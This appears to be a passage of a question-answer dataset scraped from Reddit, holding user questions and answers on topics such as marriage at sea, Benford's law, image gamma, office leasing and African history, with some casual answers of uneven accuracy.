fleet and the world will come to know and fear our Anal Armada, raiding your shores for sea-wives and sea-husbands! Earth will rue the day it denied gays our equal rights!", "Boat captains do not have the authority to marry people at will.  That they can do so is a myth.  The obvious idea is that if a ship is sinking a couple can marry right before they die so that won't die single.  Even this would not considered a \"legal\" marriage by any civil authority.  It is, perhaps, just an idea to satisfy certain religious beliefs.  ", "There are two distinct types of marriage. One happens when you sign a document saying you are marrying someone at your local courthouse, town hall or what-have-you. This is when you two start sharing assets, inheriting one another's estates, joint filing taxes and all that legal stuff. **This is what gay people are looking to be able to do.**\n\nThe second is when two people go to their local church/temple/mosque/beach/boat/anywhere else and a priest or rabbi or speaker or boat captain says they are married. That means nothing in the eyes of the law. If you walk into a Catholic church and get married you are married in the eyes of the faith but not in the eyes of the law. The same happens when you get married on a boat. I can marry any two gay men I want and in my eyes the union will be as valid as I want it to be, that said, they will not enjoy any of the legal and financial rights and privileges that go along with being married in the eyes of the law.\n\nThe situation is very loosely analogous to firearm ownership. I live in New York and owning an assault rifle is pretty restricted now here. I could go to some states and buy an AK47 no questions asked, doesn't exactly mean New York is going to let me keep it if I go back home.", "Because their rights still would not be recognized if they lived in a state/country with gay marriage bans.", "Countries can choose whether they see foriegn marriages as legitimate or not.", "'Cause when they'll come back, their internatinal-water marriage will still don't recognize by the law. It's not like illegal dwarf fights, where you can always come back home and pretend being a nice person.", "It's about politics, not love", "Because having a wedding ceremony doesn't mean you are married *legally*.", "Good point but the problem is that when you go back to where you live, they may or not recognize the marriage depending on where you are.", "Because a captain of a boat has no actual legal authority to marry people by virtue of being a captain.", "Because to be married you need a) a legal ceremony and b) to domicile in a jurisdiction that recognizes your marriage.\n\nYour proposal doesn't solve the second problem.", "It has to do with droit du seigneur, a very old custom, and captains' proclivities regarding cabin boys.", "A marriage still has to be registered with a country. If you live in \"country A\" and get married at sea, you would still have to submit your papers to \"country A\"s government when you get back home in order for it to be legal. Otherwise it was just a meaningless (from a legal standpoint) ceremony. You're not actually married until they process your paperwork and mail you your marriage certificate. You could go to another country that does gay marriage and get married there, but your country will not recognize a marriage performed abroad. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.straightdope.com/columns/read/546/are-ships-captains-allowed-to-marry-people-at-sea"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3v849b", "title": "How Sweeping of a history is SPQR: A History of Ancient Rome, really?", "selftext": "Mary Beard's book, *SPQR: A History of Ancient Rome*, has been described as \"sweeping\" and \"revisionist,\" with the New York Times boldly declaring her a \"debunker\" of historical myths. Now, I'm aware that Beard is one of the foremost classicists in the world, however does her book really present anything new? From what I've read of it, she seems to pander to the popular audience. Nothing wrong with that, but from my experience (which is limited mind you) popular history books never really present anything new. \n\nI ask, how substantial is her book to modern scholarship? Is it worth the read, or am I better off reading an article or academic book she published? (For context, while not a scholar (yet)  I prefer publications written for academics than those for popular audiences) ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3v849b/how_sweeping_of_a_history_is_spqr_a_history_of/", "answers": {"a_id": ["cxl8fwo"], "score": [5], "text": ["I have not yet read the book, though probably will at some point, but the New York Times review is very much written for readers more used to popular history of the type that you see from Barry Strauss or (ugh it pains me to say it) Tom Holland. The reviewer's comments in the paper very much were aimed at pointing out that the book, as is usual for Mary Beard's work (she *is* a social historian, after all), attempts to point out things that are not often touched upon in popular histories. Is it new? Possibly, I haven't read it. But I find it unlikely--as you say, popular histories are generally not where innovation in the academic world first appears (although popular history can often be a revised, popularized version of work previously submitted to an academic audience--Kagan's popular history of the Peloponnesian War is a revised, abridged version of his enormous academic study on the same subject). From the review some of the things that Beard said are decidedly not new to the academic community--her characterization of Actium as \"a rather low-key, slightly tawdry affair\" is something that Syme famously pointed out in *The Roman Revolution*, for example. But it is not necessarily something that is common among popular historians. Beard's quoted remarks about Gibbon, I think, explain the purpose of the book, to bring to popular history--for most people the only history that will ever be read--a much more up-to-date view, one that resembles the academic process much more than the antiquated thinking (sometimes over a century out of date, in the case of pop histories of late Republican Rome) of many pop histories. But again I haven't read it yet--this is all just my impression"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8jo60p", "title": "if the 18-25 age range is the lowest population group in the us, then why is it the largest target demigraphic for tv and movies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8jo60p/eli5_if_the_1825_age_range_is_the_lowest/", "answers": {"a_id": ["dz14hir", "dz14k53", "dz14rw8", "dz15rgf", "dz169m6", "dz16urx"], "score": [60, 12, 3, 3, 2, 10], "text": ["because they spend the most on media. Its not about number of people, its about number of $ brought in by those people.", "This may be the smallest demographic (source?), but it is the most active demographic as well. It is the demographic that may have brand loyalty for the longest time (~40 years), although brand loyalty generally is declining.", "To add to the other two statements: this also tends to be the demographic that creates trends: if you can get this group to endorse something, it has trickle down effects into the rest of the economy as younger and older people related to the group spend to be entertained by what entertains them.  In short, it's the \"cool kids\" range.", "Older people have their minds made up about many things already, 18\\-25 year olds are only just begining to figure out their brand loyalies. If you advertise to the younger generation then not only may you be more likely to get them to try your product but you'll have that new customer for a longer period of time since they have a longer life ahead of them. ", "There is a lot of money in youth culture starting all the way back to the 1920s. You create life long consumption. ", "You are incorrect in your assumption about population size -- those are some of the [largest population age brakcets in the U.S. right now](_URL_0_). Additionally, those age groups tend to have discretionary money since they often have access to parents' money, live at home so money from jobs gets spent on entertainment, clothing, gadgets rather than being saved, spent on rent/utilities, health insurance, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.statista.com/statistics/241488/population-of-the-us-by-sex-and-age/"]]}
{"q_id": "9xwout", "title": "how come law firms or banks don't normally own their own premises but lease, despite their enormous wealth?", "selftext": "I was watching Suits, and wondered this after seeing the firm have lease issues.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xwout/eli5_how_come_law_firms_or_banks_dont_normally/", "answers": {"a_id": ["e9vteus", "e9vu8s8", "e9vuhd9", "e9w2l86", "e9wih1z"], "score": [8, 11, 2, 3, 2], "text": ["Properties in very desirable locations often simply aren't for sale. A large bank or law firm might even want to purchase a downtown skyscraper but they aren't on the market, and if they were it would be prohibitively expensive. If your only option is to lease then that is what you do.\n\nAnother issue is that many large buildings have multiple tenants. You might see a building which is almost entirely taken up by a law firm but also has a floor or two set aside for a bank, or some other organization. Even if the company which takes up the majority of the building actually owned it this would likely still be the case, as efficient use of space would mean they would desire to fill any potentially unused area with a paying tenant.", "A few reasons:\n\nFor one, owning a large building like that is an entirely different business than those companies are in, which would mean taking on a lot of new responsibilities directly. It's a lot easier to lease from a company which has the real estate expertise, and so you don't have to have a lawyer or banker arguing with the gas company or whatever.\n\nAlso, since law firms are usually partnerships, a big, non-liquid asset isn't great, because it makes it harder for new partners to buy in and older partners to retire and be bought out.", "Banks of all sizes often finance the buildings they occupy.  Members of the board, investors the banks are affiliated with, etc own the property and lease it back to the bank and other tenants.   ", "It is easier to re-locate if you want to. Just reach a break-point in the lease and go. You are not tying up capital in an empty building that you are trying to offload.\n\nMaintenance is easier to plan for, as the landlord and tenant will each have clearly defined responsibilities.\n\nAlso it is often more tax-efficient to pay rent as that can be written off as a business expense.", "It\u2019s a matter of resources allocation. If you\u2019re a company sitting on \u20ac10m of cash you have let\u2019s say 3 options:\n1 - give it back to the investors, which will make them happy and boost the value of these sweet stock options (for listed companies) the top exec live for\n2 - invest on a longer term: buy a company, do some R & D, hire people, etc. Hoping that this investment will have a yield of 15%, i.e. you\u2019ll make \u20ac150k/year out of this investment\n3 - buy your office and save on future rents. A typical yield in real estate is 7% which means that if you buy your office for \u20ac10m you\u2019ll save \u20ac70k/year in rents\n\nYou see where\u2019re I\u2019m going? Real estate is one of the asset classes with the lowest returns (in exchange for being a safer investment). In most sectors it doesn\u2019t make sense to invest in real estate because it\u2019s not going to help you keep your promise to the investors of giving them a 15% dividend. The savings on rent is just not big enough.\nActually in a lot of sectors which need a lot of real estate, such as department stores for example, you\u2019ll have a separate company that owns the real estate assets. This way you can propose a relevant risk/return profile to different types of investors: for example the real estate company will be owned by insurance companies and the retail business by private equity funds.\n\nI work for a real estate managements company and we don\u2019t even own our offices even though our business is to own/manage offices for our investors."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "lx929", "title": "How clean is human digestive tract?", "selftext": "Specifically the intestines and colon. Does the body prevent any sort of accumulation, is there is a mechanism to remove residue and the sort?\n\nIs the process that the body removes solid waste extremely meticulous like the sinuses remove dust and such or is it not as efficient?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lx929/how_clean_is_human_digestive_tract/", "answers": {"a_id": ["c2wblgk", "c2wblgk"], "score": [4, 4], "text": ["Yes, in fact it works a lot like your respiratory tract. Your intestines are lined with mucous which makes it nearly impossible for anything to stick to it. Combined with peristalsis, the contraction of the smooth muscle of the intestines, this pretty much squeezes everything out pretty well. \n\nAll the stuff you read about build up in the gut / colon are pretty much nonsense. Only in rare and very bad cases is there signficant buildup.", "Yes, in fact it works a lot like your respiratory tract. Your intestines are lined with mucous which makes it nearly impossible for anything to stick to it. Combined with peristalsis, the contraction of the smooth muscle of the intestines, this pretty much squeezes everything out pretty well. \n\nAll the stuff you read about build up in the gut / colon are pretty much nonsense. Only in rare and very bad cases is there signficant buildup."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2g6o1s", "title": "why does benford's law apply to so many different data sets? why is a leading digit of 1 so much more common than 9?", "selftext": "This blows my mind and I can't understand the explanations easily.\n\nFrom _URL_0_\n\nBenford's Law, also called the First-Digit Law, refers to the frequency distribution of digits in many (but not all) real-life sources of data. In this distribution, 1 occurs as the leading digit about 30% of the time, while larger digits occur in that position less frequently: 9 as the first digit less than 5% of the time. Benford's Law also concerns the expected distribution for digits beyond the first, which approach a uniform distribution.\n\nThis result has been found to apply to a wide variety of data sets, including electricity bills, street addresses, stock prices, population numbers, death rates, lengths of rivers, physical and mathematical constants, and processes described by power laws (which are very common in nature). It tends to be most accurate when values are distributed across multiple orders of magnitude. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2g6o1s/eli5_why_does_benfords_law_apply_to_so_many/", "answers": {"a_id": ["ckg5o9u", "ckg5ogc", "ckg5p39", "ckg7gb5"], "score": [3, 42, 2, 2], "text": ["Watch this:   _URL_0_", "Take a set of prices in a shop, and then add in inflation at 3%. An item will spend a long time with a 1 as the leading digit.\nEG\n\nYear 1 \u00a3100\n\nYear 2 \u00a3103\n\nYear 3 \u00a3106.01\n...\n\nBut when it gets to a higher number as the leading digit, it spends less time with that leading digit:\n\nYear X \u00a3900\n\nYear X+1 \u00a3927\n\nYear X+2 \u00a3954.81\n\nYear X+3 \u00a3983.45\n\nYear X+4 \u00a31012.96\n\nThen it's back to a 1, and will spend a long time with a 1 as the leading digit, then slightly less time with a 2, etc.\n\nBenford's law is a consequence of exponential growth/distribution of numbers. So as long as a shop starts with a random distribution of prices, after many years of exponential growth, the 9s will tick over to 1s faster than the 8s tick up to 9s, creating the distribution.", "i assume it has something to do with growth/exponential growth, and how you stay on 1xxx a lot longer then 2xxx, 2xxx longer than 3xxx and so forth... 9xxx being the quickest transition before 1xxxx.. which is slow again.", "If you pick any number from 0-99 and look at the numbers below it, you will find more leading ones than 9s in every case except, 0, 9, and 99. Or 97% of the time.\n\nMore leading 1s over 8s except 0, 8, 9, 89-99 or 86% of the numbers have more ones."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Benford%27s_law"], "answers_urls": [["http://youtu.be/XXjlR2OK1kM"], [], [], []]}
{"q_id": "2kdb03", "title": "how much science is there behind massage, stretching and or compression garments for aiding restitution after running?", "selftext": "I talked with a national-level running coach who recommended me wearing compression stockings after running as well as stretching. He told me, that this would improve bloodflow and thus recovery/restitution.\n\nThese suggestions seem intuitively right, but are there any science behind it? The sceptic in me could fear that compression stockings only improve the profit of the companies producing them.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2kdb03/eli5_how_much_science_is_there_behind_massage/", "answers": {"a_id": ["clk6px0", "clkh8jl"], "score": [8, 2], "text": ["You seem to be asking if there is any benefit to Physical Therapy in helping rehabilitate after a sports related injury. Massage, stretching and compression are proven modalities in rehab.  They are certainly the route to go with if you are a hard training athlete trying to stay in the game and minimize future injuries. A trainer or physical therapist has a deep bag of modalities to go to and the ones listed seem to have fair amount of research and anecdotal evidence to back them up. Massage can help break up adhesions, increase blood flow, relax tight muscles etc. Controlled stretching not pushed too far can help with increasing flexibility, circulation and even improve balance and coordination.\n\n Compression garments are a bit newer to the game, and some people swear by them, saying it aids in recovery and healing. there is some evidence that they can aid in removing post exercise metabolic waste from the body and even improve proprioception.  I have encountered compression post acute injury and during post surgery healing. It is difficult to isolate each modality in the healing process and decide which was effective and which offered no benefits.  It *seems* to help and I think it is worth a try along with other techniques in a care plan.   ", "Funny you should ask that now. A US Senator just used a study to determine the benefits of massage as an example of government waste. The study found there were benefits to massage. But there probably will not be any follow up studies. [link](_URL_0_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://tbo.com/ap/rabbit-massage-study-makes-lawmakers-wastebook-20141022/"]]}
{"q_id": "9b9x04", "title": "how chess clocks effect game play", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9b9x04/eli5_how_chess_clocks_effect_game_play/", "answers": {"a_id": ["e51dv5n"], "score": [2], "text": ["It puts a strain on the players to move faster. Historically, chess had no time limits, but with the growing commercialisation of the sport and the rise of chess computers, time was introduced. In Blitz (3-10 min games) and Bullet (1 min games), time obviously puts a huge strain on players to move much faster, and so quality decreases, with a preference for trading pieces and quick tactics to general strategy and positional play. Interestingly, in long form matches (three hours), a similar pressure had to be applied to make the games more interesting, so something called \"Time Control\" was introduced. This means the games are still three hours, but players only get the final hour if they make 40 moves in the first two hours.\n\nOverall, as you can see from the current Sinquefield Cup, players are so good now that a lot of draws occur. Decreasing time makes games more interesting.\n\nTL;DR: makes players move faster, more commercially appealing, and (imo) interesting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "edooe8", "title": "what are gamma values in pictures and why does it affect png (aka make it worse than jpeg?)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/edooe8/eli5_what_are_gamma_values_in_pictures_and_why/", "answers": {"a_id": ["fbjj7gi", "fbjm152", "fbjuvkj"], "score": [22, 3, 2], "text": ["This comes from the days when computers were much slower and monitors were huge and heavy boxes with thick glass on the front of the screen - the CRT, or cathode ray tube, uses intense electromagnets to shoot tiny bits of stuff at a screen that glows when hit by this stuff. That's how it makes colors and pictures, by changing how the stuff is fired at the screen and by aiming to make flat lines to cover the whole screen down from the top, 30 or 60 times every second. \n\nWhen this was going on, in the earlier days of computing, we hadn't figured out how to make colors exactly the same from Mac os and Windows and other computer operating systems. When we tried the normal way they looked different, and that did not work for us. \n\nSo we tried to use this gamma value to preserve the color we would see on the screen from one device to another to make them match. But something went wrong when not everyone agreed on how or even if they wanted to use it at all. So all sorts of things happened, some devices used it right and others did not. It was a mess!\n\nThe gamma value specifically tells the computer how much of the color to show, from none to all of it or possibly even more. That's because the gamma was used to say 'this device is already showing more green and red and blue than the one that made the image, so turn down the colors of this image so it looks right on this device' or 'this device naturally shows less green and red and blue than the one that made the image, so turn them all up to match'.\n\nOver time we realized how silly this was and fixed the problem in a better way so everything matched all the time outside of gamma images. Now the gamma value is a leftover of what was tried before, and most browsers don't use it or have a default set up to work in most cases.\n\nBetter or worse depends on what you're doing. PNG is designed to be good on websites, so it can get smaller than a jpg or gif with the same picture. But not all browsers support it the same as jpg or gif formats, there are still old browsers out there still using the gamma values or trying to. Because of that it is a matter of knowing who will be using your site and images - if you need to use the old stuff jpg may be a better bet. If you have all new stuff png may work better. When you make new png files, the gamma can be left out to make it like a more efficient jpg format. \n\nGreat question!", "Your eyes don't work on a linear scale, what that means is that your eyes are much better at picking out slight differences in the shadows, than they are are picking out slight differences in highlights. \n\nLet's say that your eye perceives the same change in intensity of light every time the light level is doubled. Imagine yourself in a pitch black room with a small birthday candle as your only light, and imagine how much light it casts on the walls.\n\nNow light another birthday candle and hold them besides each other. The amount of light has now doubled, and it'll be fairly easy to tell the difference in brightness between the one candle, and the two candles.\n\nIf you want to add more candles to perceive an equal increase in brightness once again, you can't just add one more candle (3) you need to double the amount of candles you have lit, so you would need 4.... then 8, 16, 32 etc.\n\nIf you brought in a powerful torch and pointed it at the wall, and then lit a small candle as well, you're not going to see a difference, even though there technically is one. \n\nSo that's the human perception bit covered... On to computers...\n\nWe store images in bytes, typically 3 bytes per pixel, one byte for red, green and blue, but for the sake of discussion let's just deal with green and treat it as if it was converted to greyscale.\n\n1 byte gives us 255 different possibilities we can use, ranging from 0, which is the darkest dark, to 255 which is the brightest bright, and we have to somehow map every other brightness into that range.\n\nIf we stored it linearly and said...  the top half brightness, we allocate to 127-255, and then whats left over, we divide by 2 and use the second half of that for the next top half of brightness... so 64-127... and then divide whats left by two and use the second half... 32-63.\n\nNotice how every time we try to store a number representing a darker brightness, we have less numbers we can use to store it. \n\nBut if we go back to the top, that's not how our eyes work. we can see much more detail in the shadows than we can in the highlights, because in the shadows, the perceived change is much more apparent, because it only takes a small amount of extra light to double the amount. \n\nIf we stored the value as originally described, we would be dedicating the majority of our storage space to differences in brightness that we can't tell the difference of very well, while starving the most useful ranges in which we can tell a difference.\n\nAnd finally, this is where gamma comes in.\n\nGamma is a mathematical function that either compresses or expands the brightness so that each doubling of brightness gets roughly the same range of numbers to store its data in. \n\nSo instead of the top half of the most bright colours getting half of the entire range, they might instead get a range of 24 numbers allocated to it, and the range between that, and half as bright, might itself only get 24 numbers allocated to it, and the half as bright as that... 24 numbers, so on and so forth.\n\nThat means that when you get to the really dark bits, what might have previously only had a range of 1 or 2 numbers, now has a range of 24 numbers, that means it can store much more detail... but here's the important thing to remember, your eyes can *perceive* that detail. \n\nThat's storage.... when it comes to displaying the image, it goes the other way, and your monitor applies a gamma factor in reverse, a change of 64 to 88 (using the 24 range for a doubling of light) actually does end up as a doubling of light coming out your monitor. \n\nI feel like I have rambled and not been particularly clear so...\n\ntl;dr - Storing information about the shadows is more useful to the human eye than storing information about the highlights. Gamma is a way of allocating more data for those useful shadow values than we otherwise would if we stored the absolute value of brightness instead.", "Open up [this image](_URL_2_) on your desktop (this doesn't work on mobile). Make sure your zoom is set to 100% and your monitor resolution is correct. This doesn't work on mobile and may not work with scaling (Retina screens and such).\n\nStep back from the monitor and look from far away. What do the first row of squares look like? Which square looks like it is twice as bright as the leftmost square?\n\nYou'll probably say the third or fourth. However, actually, the squares are putting out exactly 1x, 2x, 3x, 4x as much light as the leftmost square (zoom in and count the pixels - they're all white, and there are proportionally more of them as you go to the right).\n\nThe reason is that your eyes do not count light linearly. Something half as bright (in terms of number of photons) only looks somewhat less bright to your eyes. Your eyes are also very good at adjusting to very low-light conditions, which means you can actually see a wider range of light levels.\n\nSo when we store light levels on computers, if we were to store the amount of light linearly (2x number = 2x the amount of light), we would have a very wide dynamic range. The numbers would change from very small to very large. However, computers typically store brightness as an integer, from 0 to 255. If we make that scale linear, then, to the eye, there will be a huge difference between 0 and 1, and 1 and 2, but the difference between 254 and 255 will be completely imperceptible. This is bad. Dark stuff in images would look compressed with lots of banding, and bright stuff wastes numbers on detail that doesn't matter.\n\nSo what we do is we take all numbers (in a range 0.0 to 1.0 initially, that gets converted to 0 to 255 later), and raise them to the power of 1/2.2. When you take 0.25  (25% of max brightness) to the power of 1/2.2, you get about 0.53. This works well, since to us, about 4x more light looks about twice as bright. When your monitor wants to produce a picture, it takes all the numbers, raises them to the power of 2.2, and gets back the original amount of light that it needs to put out. 2.2 is the gamma.\n\nLook at the second row of squares. If your monitor is using a gamma of 2.2, from afar they should look about equally bright as the first row of squares. The second row of squares uses the brightness values 135, 186, 223, 255 (out of 255), which are 53%, 73%, 88%, 100% of the full scale, but actually correspond to light levels of 25%, 50%, 75%, and 100%, thanks to gamma.\n\nNow, this is all well and good, but if you use one gamma when making an image, and a different one when displaying it, things will look wrong (too bright or too dark). Way back, Macs and PCs used different gamma values. This wasn't great. These days we've standardized on something called sRGB, which isn't really a \"normal\" gamma (for technical reasons) but it's pretty close to a gamma of 2.2.\n\nNow the problem with gamma is that it messes up the math when combining colors... and the vast *vast* majority of software does not handle gamma correctly. What is the color between 0% and 100%? Almost all software would say 50%, but it's wrong - it would be, if the numbers represented the linear amount of light, but due to gamma, the brightness exactly in between 0% and 100% is about 73%. Even \"professional\" software like Photoshop does this wrong by default, unless you tweak some obscure settings. This results in some artifacts when mixing colors or when resizing images with lots of detail. I'll let [minutephysics](_URL_1_) demonstrate it in 4 minutes, much better than I could in text.\n\nSo what does this have to do with PNG and JPEG? Well... nothing, really. Gamma doesn't make PNG worse than JPEG in any way. They both store color in the same colorspace by default (which is usually assumed to be sRGB)*. PNG isn't any worse than JPEG in this regard. The main difference between the formats is how they compress images, which has nothing to do with gamma.\n\nThe only difference is that PNG can *optionally* store the gamma value, to explicitly tell the software viewing your image what it should use. Some software understands this (most browsers), some doesn't (most server-side), and this can result in some weird images that look different in different contexts. But if you set the gamma of a PNG file to 2.2... nothing should change much. Software will either ignore it, or do nothing on most computers. Software on computers using special color spaces with other gamma values will display your image *more* correctly in that case. If there is no gamma info, most software will just take the data and send it through to the screen unchanged, and your screen is probably set to use a gamma of 2.2 or sRGB (which are close enough). This happens for both PNGs without gamma info, and JPEGs.\n\nOr you can abuse the fact that some software understands gamma (like your browser most likely) and some doesn't (Reddit's thumbnailer), and play tricks like [this](_URL_0_) (again, desktop only).\n\n\\* JPEG uses a different way of storing colors called YUV instead of RGB, but this is just a straight conversion and you don't have to care, you get the same results when it is converted back for display."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/test/comments/6edthw/dont_click_on_me/?st=k4fpga4u&amp;sh=ac20e2bf", "https://www.youtube.com/watch?v=LKnqECcg6Gw", "https://mrcn.st/t/gammatest.png"]]}
{"q_id": "4excfi", "title": "What rare elements are used in modern CPU and GPU designs, and are there viable substitutes?", "selftext": "There has been a lot of talk about things like Indium for transparent semiconductors becoming scarce, but what about the most crucial chips in computing, the CPU and GPU? I know the chips are mostly made from silicon with small amount of dopants, but are these particular dopants rare, and how long could we go if they continue being used at accelerating rates? \n\nMoreover, supposing we wanted to change to a more sustainable alternative, do they exist? Could you make today's high-speed microchips with commonly available elements, or are we basically boned if we run out of certain rare earth metals? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4excfi/what_rare_elements_are_used_in_modern_cpu_and_gpu/", "answers": {"a_id": ["d24jhre", "d24zafa"], "score": [9, 2], "text": ["Most chips don't use a lot of rare elements in and of themselves. They are primarily made out of silicon, copper, phosphorous, boron. Of those copper has the most potential for a production shortage, but it's not exactly very rare. Other components are more likely to rely on rarer materials. Such as gold for electrical contacts. Tantalum and neodymium in capacitors. Various rare earths are used in OLEDs and magnets (motors, microphones, speakers).", "You won't get a good answer on the question of what elements go into processors. Anyone who knows will be protecting their employer's IP.\n\nHowever, the quantities needed for processors are tiny, and not going to exhaust the resource. The reason indium is a potential concern is that it's used in displays. Displays are large, and everywhere, so it takes a lot of indium. Processors are pretty small."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "75m5l2", "title": "why have newspaper comics gotten so abysmal these days?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/75m5l2/eli5_why_have_newspaper_comics_gotten_so_abysmal/", "answers": {"a_id": ["do79vdv", "do7a7de"], "score": [9, 5], "text": ["Several factors are at play.\n\nFirst, you're older, so you've developed a taste. You might recall loving Garfield as a kid, but now you read recent strips and it's dull and bland. But if you went back and read strips that were published when you were a child, you would find them equally dull.\n\nSecond, the authors change over time. They might come to view their comics as a metaphorical prison for their imagination. They might develop some sort of mental deterioration, as with Terry Pratchett.\n\nFinally, external conditions might change that reduce their ability to do their work, as with Tom Lehrer (who, when he produced music, wanted to satirize politicians, but he stopped because today he instead wants to punch them).", "Mostly because print is now the least efficient medium for artists to display their work. Back in the day getting picked up by a local paper for your comic was a big deal, and getting syndication across regional or national networks was huge. Think rock stars of the comic world. They had to try harder and the best artists rose to the top. Nowadays anybody can create a comic and put it online with a minimum of funding and reach a large audience. Also allows you to segregate your audience reach based on what you are trying to do. \n\nComics in general haven't gotten abysmal they've just taken root in a new distribution platform. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "453k9n", "title": "how do some corrupted gifs end up looking like misplaced textures in a computer simulation?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/453k9n/eli5_how_do_some_corrupted_gifs_end_up_looking/", "answers": {"a_id": ["czuw9t6", "czuwuuo", "czv9lt7"], "score": [17, 4, 2], "text": ["It's called \"datamoshing\", and [this comment](_URL_0_) gives a through explanation on how it works.\n\nBasically there are I-frames (keyframes) with full images, and in between there are P-frames which only describe the change from the previous frame. Datamoshing works by mucking around with these frames, usually by removing I-frames or repeating P-frames over and over.\n\nYour example could be a result of taking earlier P-frames (from before the woman turned her head) and sticking them after the frame where her head is already turned.", "The animated GIFs are a succession of different frames. One of the compression mechanisms used on these types of images, in order to make the resulting file smaller, is the following:\n\nWhen you have successive frames that have overlapping parts (example in your image: the background), a frame may only be the parts that are different from the previous frame, making the frame smaller by non storing redundant data.\nIf you want to see that yourself you can use _URL_1_ and upload your gif, and then (de)select the option to ignore the optimizations.\n(more info here: _URL_0_)\n\nSo now if the file is corrupted in some ways (full or partial frame data missing or corrupted), you can have weird things happening.\n\nIn your example my guess is that this GIF has been shortened (there was more frames at the beginning before) and you had the frame of the woman's front face correctly at that point. Between the time she was front face and the time she turned her head on her left, some frames (or part or the frames) went missing/corrupted. So your GIF player will try to display it and use previous (partial) frame for the missing parts, leading to this effect of misplaced texture.", "[Here is a *really* cool datamoshed version of Miley Cyrus' Wrecking Ball.](_URL_0_) It gives a whole new meaning to the song.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/brokengifs/comments/1l5fk8/brokengifs_request_mileys_vma_performance/cbwvcs5"], ["https://en.wikipedia.org/wiki/GIF#Animated_GIF", "http://ezgif.com/split"], ["https://vimeo.com/87545616"]]}
{"q_id": "2enuti", "title": "Why wasnt a civilization formed around Lake Victoria?", "selftext": "This question comes from /r/civ where someone pondered why a civilization never formed around Lake Victoria.  I decided to look into it, but finding nothing, im wondering if there is something im missing as Lake Victoria seems like its condusive to what a civilization needs to thrive.\n\nIm not 100% sure if this is the right place though, but I feel like since im not asking \"What If a civ formed around Lake Victoria\", this feels like the best place to ask.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2enuti/why_wasnt_a_civilization_formed_around_lake/", "answers": {"a_id": ["ck1b8y8", "ck1nbmd"], "score": [12, 10], "text": ["There have been people congregated around the Lake and in that area for thousands of years, For a while it was the most densely populated areas of Africa not on the coast. As far as named, and internationally recognizable civilizations go, it is hard to name civilizations that started there. There has been the Kitara Kingdom, found here; _URL_0_ . The Kitara Kingdom, especially under the Bachwezi dynasty, was as far as any linked together Civilization around Lake Victoria ever came to being a major player. But Like i said, these never became continental powers and were constantly broken up by nearby raiding tribes, which is why they are seldom studied unlike bigger African tribes like Songhai.", "Counterfactuals go in /r/historicalwhatif , if memory serves.  But offhand I can tell you that Nalubaale/Victoria is not exactly useful water the way temperate glacial lakes or seas are; it's got a number of parasites (notably bilharzia/schistosomiasis) that involve humans in their life cycles, attesting to our co-evolution in the region.  Fishermen do well, though.\n\nBut there have been a great many states in the interlacustrine region.  Buganda is perhaps the most notable that's survived, with a Kabaka back on the throne.  But Jean-Paul Chretein's *Great Lakes of Africa* goes much further back; Chris Ehret's *An African Classical Age* talks about the dynamism of that region and its cultural and social interchange up to 1000; and David Schoenbrun's *A Green Place, a Good Place* deals with the earlier complex civilizations up to the 1400s.  Start there, and realize that we've only really scratched the surface in terms of the deeper oral and material evidence for the antiquity of complex state formations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bunyoro-kitara.org/7.html"], []]}
{"q_id": "2mx5h0", "title": "Before the modern era, how common was it for ordinary people to move to a different city?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2mx5h0/before_the_modern_era_how_common_was_it_for/", "answers": {"a_id": ["cm8lwnb"], "score": [2], "text": ["Sorry, we don't allow [throughout history questions](_URL_0_).  These tend to produce threads which are collections of trivia, not the in-depth discussions about a particular topic we're looking for.  If you have a specific question about a historical event or period or person, please feel free to re-compose your question and submit it again. Alternatively, questions of this type can be directed to more appropriate subreddits, such as /r/history or /r/askhistory."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22in_your_era.22_or_.22throughout_history.22_questions"]]}
